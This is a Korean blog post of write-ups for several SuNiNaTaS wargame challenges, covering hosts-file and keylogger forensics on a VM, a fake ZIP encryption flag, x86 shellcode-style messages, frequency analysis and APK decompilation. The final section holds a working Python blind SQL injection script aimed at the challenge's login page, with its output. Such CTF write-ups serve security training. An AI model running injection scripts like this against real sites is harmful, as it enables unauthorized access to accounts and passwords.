URL은 다음과 같다.

http://suninatas.com/challenge/web29/web29.asp

 

Game 29

유준혁은 PC가 고장나서 형 유성준에게 PC를 고쳐 달라고 했다. 그런데, 유성준은 동생의 PC를 고치면서 몇 가지 장난을 했다. 당신은 이 PC를 정상으로 돌려 놓아야 한다. 1. 웹 서핑은 잘 되는데,

suninatas.com


해결책

 

문제가 딱 봐도 재미있어 보인다. 각각의 Q를 29-N으로 나누어 단계별로 공략해보자

우선은 자료다운이 먼저이다. 필자도 글을 작성하며 지금 다운로드하고 있는데, 사이즈를 보아하니 vm이나 메모리 덤프가 아닐까 싶다. 

으흠; egg파일이다. 압축이 되어있는걸 풀어보자

오호; 가상파일이다. vmdk이니, vmware로 열어도 좋지만, vmware가 없는 필자는 virtual box변환 후 문제를 해결해 보겠다.

 

들어가면 로그오프가 우리를 반겨준다. 우선 꺼주자


29-1Q. 웹서핑은 잘 되는데, 네이버에만 들어가면 사이버 경찰청 차단 화면으로 넘어간다. 원인을 찾으면 key가 보인다.>> hosts의 변조가 의심된다. hosts 파일은 ip와 name의 변환을 로컬로 해주는 파일로 우선순위가 낮지만, 당연히 이름 변환에 활용되는 파일이다. 

 

C:\Windows\System32\drivers\hosts를 확인하자

* hosts.txt라는 속임수 파일이 하나 있다. hosts는 확장자없는 시스템 파일로, 폴더 옵션을 통하여 시스템 파일을 볼 수 있게 하도록 한 다음 접근하자

29-1A. what_the_he11_1s_keey


29-2Q. 유성준이 설치 해 놓은 키로거의 절대경로 및 파일명은?(모두 소문자)
- ex) c:\windows\notepad.exe

 

KEYLOGGER는 사용자의 입력을 hooking 하는 맬웨어로 분명 시스템이 부팅된 이후 바로 동작이 지시되었을 터이니, 레지스트리 RUN 혹은 RunOnce 아니면 msconfig의 시작프로그램에 그 경로가 적혀있을 것이다. 다행히 예상이 맞았다.

29-2A. C:\v196vv8\v1tvr0.exe


29-3Q. 키로거가 다운로드된 시간은?
- ex) 2016-05-27_22:00:00 (yyyy-mm-dd_hh:mm:ss)

 

웹로그를 뜯어라는 문제이다. 브라우저가 여러 가지 있나 돌아다녀 보았는데, Internet Explorer밖에 없다는 결론을 내렸다.(고마워요 Window7) index.dat을 분석해야 하지만, 바이너리 형식이기에 가시적으로 읽을 수는 없다. index.dat Analyzer를 다운로드하여서 분석해보자 대놓고 keylogger라는 놈을 다운로드한다.

29-3A. 2016-05-24_04:25:06


29-4Q. 키로거를 통해서 알아내고자 했던 내용은 무엇인가? 내용을 찾으면 Key가 보인다.

Keyloggger가 설치된 경로로 가보면 일자별로 s1.dat과 w1.dat라는 파일이 존재한다. s1.dat은 키로그 된 스트링의 전송기록이며, w1.dat은 hook 된 스트링이다. 안쪽에서 Flag를 찾을 수 있다.

29-4A. blackkey is a Good man


좋은 포렌식 문제였다. 빨리 다음 문제로 넘어가자

URL은 다음과 같다.

Game 28 (suninatas.com)

 

Game 28

않을까 걱정하다가 시름시름 앓고 있다는 전설이 있다.

www.suninatas.com


해결책

일단.... 문제를 만들어주신 heizelnet님께 감사드린다. down을 눌러서 다운로드를 하면 So_Simple.zip이라는 압축파일을 구할 수 있으나, 해제를 해보면 비밀번호가 걸려있는 것을 확인할 수 있다.

문제 content인 내용 중 "암호가 있기는 한 걸까?"라는 말이 마음에 걸린다. 어쩌면 암호는 없는데, 암호화가 되었습니다! 라는 플래그만 설정된건 아닐까? 여기서 위키찬스다

보고 계신 이것은 zip이라는 확장자의 header 구조이다. offset(0x6 ~ 0x7)은 다음과 같은 bit 특성을 가진다.

  • bit 0 : 암호화
  • bit 1~2 : 압축 옵션
  • bit 3 : 데이터 설명자
  • bit 4 : 향상된 압축해제
  • bit 5 : 패치 데이터 압축됨
  • bit 6 : 강한 압축
  • bit 7~10 : 미사용
  • bit 11 : 언어 부호화
  • bit 12 : 예약 비트
  • bir 13 : 헤더 마스크 값
  • bit 14~15 : 예약 비트

그렇다. So_Simple.zip의 비트의 Flags는 09 08로 이를 bit로 보면(00001000 00001001)이다.(리틀 엔디안!) 여기서 암호화를 나타내는 첫 번째 비트인 1을 0으로 바꾸어 08 08로 바꾸면 된다. 이 header는 압축파일 전역에서 확인할 수 있다.

전부다 오른쪽처럼 08 08로 바꾸어 주었다. 암축 해제는 문제없이 되었고, Am_I_KeyN.라는 파일들이 나오는데, 전부 바꾸었다면 Am_I_key.zip는 이상 없이 압축 해제할 수 있다. 안쪽에는 key를 base64로 표현한 txt 파일이 있다. decoding 하면 Auth Key를 구할 수 있다.

URL은 다음과 같다.

Game 27 (suninatas.com)

 

 

Game 27

investigators are certain that the message has some secret, however they can't find any clue.

www.suninatas.com


해결책

해석을 하면, IRC(Internet Relay Chat) 서버를 도청한 NSA가 Mafia의 Key를 알아내는 문제이다. 링크가 걸린 down으로 들어가 보자

엄청 방대한 문자열이 우리를 반긴다. 여러분의 시간은 소중하니까 대충 이야기를 하면, pruss라는 친구 마피아와 저 글을 쓴 필자의 컴퓨터 암호에 관한 대화 내용이다. 중간에 mafia@russia.ru 같은 서버도 보이고, key나 password라는 문자열도 많이 보이지만, 전부 유효하지 못하다. 이 문제를 접근하는 가장 좋은 방법은 문제의 제목 속에 숨어있다.

위 사진은 헥사편집기인 hxd에서 message.txt를 open 한 내용이다. 무슨 의미일까? 문제의 제목은 우리를 x86에서 열어보라고 하고 있다. 보통 x86을 이야기한다면 PE32 포맷으로 debugging을 하라는 의미일 텐데.... 한번 디버거를 열어서 저 문자열이 의미 있는 문자열인지 보자

남의 PC에서 하고 있다보니까... x 32 dbg를 사용하여 HxD Installer를 열었고, [바이너리 편집기]를 이용해서 메모리 상의 주소를 message.txt의 내용으로 덮어씌워주었다.

그 후 덮어씌워진 주소의 맨 처음을 EIP(다음 실행할 명령어 주소)로 설정하고 run 했다. Run을 하고 잠시 관찰하면 알 수 있는 내용인데, eax의 값이 inc, dec 되면서 ascii값으로 왔다 갔다 하고, 문자 입력의 느낌으로 push명령어가 호출된다. 따라가 보면 이번 문제의 key인 key_is_○○○○○○○를 구할 수 있다.

 

* 여담인데, 가독성 있는 메시지로 이런 포맷을 만들어낸 문제 출제자의 실력에 감탄을 금치 못하겠다. Thanks to DaeHee라고 되어있는데, 좋은 문제를 만들어 주셨음에 필자도 진심으로 감사를 표한다.

URL은 다음과 같다.

Game 26 (suninatas.com)

 

Game 26

szqkagczvcvyabpsyincgozdainvscbnivpnzvbpnyfkqhzmmpcqhzygzgfcxznvvzgdfnvbpnjyifxmpcqhzygbpnoyaimygbzgngbvmpcqhzygcbpinnbzqndicgxhiztozgcfmpcqhzygbpnjyifxeagzyimpcqhzygbpneagzyidicgxhiztozgcfmpcqhzygcgxcoyaibzqnvyabpsyincggcbzygcfmpcqhzygszqzvbpnozivbvyabpsy

www.suninatas.com


해결책

영어를 해석하면 다음과 같다.

일단 빈도 분석이라는 게 무엇이냐.

암호학에서의 빈도분석(頻度分析, frequency analysis 또는 counting letters)이란 평문과 암호문에 사용되는 문자 또는 문자열의 출현빈도를 단서로 이용하는 암호해독법을 말한다. 평문 언어의 통계적 특징을 전제로 하여, 암호문만을 사용해서 해독을 진행하기 때문에, 암호문 단독공격으로 분류된다.(중략)

- 출처 : 위키백과(빈도분석(암호)) : https://ko.wikipedia.org/wiki/%EB%B9%88%EB%8F%84%EB%B6%84%EC%84%9D_(%EC%95%94%ED%98%B8)

 

단순하게 생각하면 알파벳을 세는 것이다. 다음의 문자열이 있다고 가정해보자. 아래는 평문이다

"I have a lot's of friend.  i'm not lying. why are you crying? Don't be so sad at being outsider. 
You'll be always outsider."

이 슬픈 문장을 대치 암호를 통해서 암호문을 만들었다고 가정하자. 영어의 알파벳에서 가장 많이 쓰이는 역시 모음인 e, i, o, a, u인데, 일반적으로 알려진 이 상식을 통해서 대치 암호문의 결과에서 많이 나오는 알파벳을 많이 쓰이는 알파벳 순서대로 매칭 해서 평문 해석을 하는 분석 방식이다. 아래는 위의 문장을 빈도 분석한 결과이다.

{'a': 7, 'b': 3, 'c': 1, 'd': 4, 'e': 8, 'f': 2, 'g': 3, 'h': 2, 'i': 7, 'l': 5, 
'm': 1, 'n': 6, 'o': 9, 'r': 5, 's': 6, 't': 6, 'u': 4, 'v': 1, 'w': 2, 'y': 5, 
'D': 1, 'I': 1, 'Y': 1}

### o가 가장많은 9개, e가 다음인 9개, i가 7가 다음이다.
### 위에 평문을 암호한 결과가 뭐시기 나올때 그 암호문을 빈도분석했을때 s가 가장많이 나왔으면 그걸
### 통상적으로 e라고 가정할 수 있고, 다음많은게 d라면 그걸 o로 가정할 수 있는 거다.

 

다행히도 이걸 해주는 사이트가 있다.

quipqiup - cryptoquip and cryptogram solver

 

quipqiup - cryptoquip and cryptogram solver

 

quipqiup.com

이 사이트를 간단하게 소개를 해주면, 빈도 분석뿐만 아니라 간단한 암호화 문제(DES 처리된 거 이런 거 말고, ROT나 카이사르 암호들도 해석해 준다. 빈도 분석의 결과는 다음과 같다.

정답은

정답은 직관적이다.

URL은 다음과 같다.

http://suninatas.com/challenge/web24/web24.asp

 

Game 24

 

suninatas.com


해결책

들어가면 웹피이지가 우리를 반긴다.

Download를 하면 확장자가 없는 suninatas24를 받을 수 있다. hxd로 까 보자

50 4b 03 04로 일단 zip 파일 같긴 해이는데, 사실 바로 다음 String인 AndroidManifest.xml를 보아 apk파일인 것을 알 수 있다. 우선 앱을 설치해보자

id와 pw, 그리고 key를 입력하는 곳이 나온다. 

apk를 디컴파일할 필요가 있어 보인다. 우선 안드로이드 앱은 안드로이드 가상 머신인 dalvik이 이해할 수 있도록, java class파일을 바이트코드로 변환한 코드이다. 우선 이걸 다시 읽을 수 있게 해야 한다. 다행히도 좋은 툴이 있다.

https://sourceforge.net/projects/dex2jar/

 

dex2jar

Download dex2jar for free. Tools to work with android .dex and java .class files. Mirrors: * https://bitbucket.org/pxb1988/dex2jar * https://github.com/pxb1988/dex2jar dex2jar contains following compment * dex-reader is designed to read the Dalvik Executab

sourceforge.net

이를 활용해서 classes.dex를 jar로 변경할 수 있다. 또 jar 또한 class로 이루어져 있기 때문에 Decompile을 위해서 다른 툴을 사용할 거다

http://java-decompiler.github.io/

 

Java Decompiler

The “Java Decompiler project” aims to develop tools in order to decompile and analyze Java 5 “byte code” and the later versions. JD-GUI is a standalone graphical utility that displays Java source codes of “.class” files. You can browse the reco

java-decompiler.github.io

들어가면 main클래스라고 할 수 있는 mainactivity에 해결할 수 있는 방향이 보인다.

즉 id와 pw는 그냥 입력받고, key는 youtube URL과 연결되어있다. send 버튼을 눌러서 KEY를 받자

URL은 다음과 같다.

http://suninatas.com/challenge/web22/web22.asp

 

Game 22

select / Union / or / white space / by / having from / char / ascii / left / right / delay / 0x ..........

suninatas.com


해결책

들어가면 로그인 폼을 확인할 수 있다.

대놓고 blind SQL Injection문제라는 것을 구할 수 있다. 관례적으로는 admin의 패스워드를 구하는 문제가 될 거 같은데, 어떤 ID를 때려야 될지 주석에 힌트가 있나 보자

그렇다. admin 찾으면 되는 거 같다.

다음과 같은 Keyword가 필터링 되어있다.

  • select, union, or, white space, by, having, from, char, ascii, left, right, delay, 0x

일단 다 대체제가 보이긴 하는데, 사실 저거 말고 as나 부등호 같은 것도 막혀있다. 여러 가지 해보는 것 밖에는 답이 없을 거 같다. Query가 한 줄로 이루어진 건지 id 쪽에 작은따옴표를 적고 주석을 활용하면 코드부로 들어갈 수 있다.

EX > 

BLIND SQL Injection을 짜 보자

### 22.py


from requests import *
import string

if __name__ == "__main__" :
    abc = string.ascii_letters + string.digits+string.punctuation

    url = "http://suninatas.com/challenge/web22/web22.asp"
    cookie = {"ASP.NET_SessionId" : "NI GGEO SU SSI MYEON DUEP NI DA",
              "ASPSESSIONIDAQRBTDQD" : "NI GGEO SU SSI MYEON DUEP NI DA",
              "_ga" : "NI GGEO SU SSI MYEON DUEP NI DA"}
    length = 1
    ans = ""

    ### find length for pw
    while(True) :
        params = "?id=admin%27+and+len%28pw%29%3D"+str(length)+"--&pw=2"
        new_url = url+params
        rec = get(new_url,cookies=cookie)
        if(rec.text.find("OK  <font size=4 color=blue>admin")>0) :
            print("FOUND!")
            break
        else :
            print("fails..."+str(length))
            length += 1

	### Actual pw
    for i in range(1,length+1) :
        for a in abc :
            params = "?id=admin'+and+substring(pw,"+str(i)+",1)='"+a+"'--&pw=2"
            new_url = url+params
            rec = get(new_url,cookies=cookie)
            if(rec.text.find("OK  <font size=4 color=blue>admin")>0) :
                print("FOUND!",a)
                ans += a
                break

    print(ans)

결과는 다음과 같다.

fails...1
fails...2
fails...3
fails...4
fails...5
fails...6
fails...7
fails...8
fails...9
FOUND!
FOUND! N
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! )
N....................)

 

+ Recent posts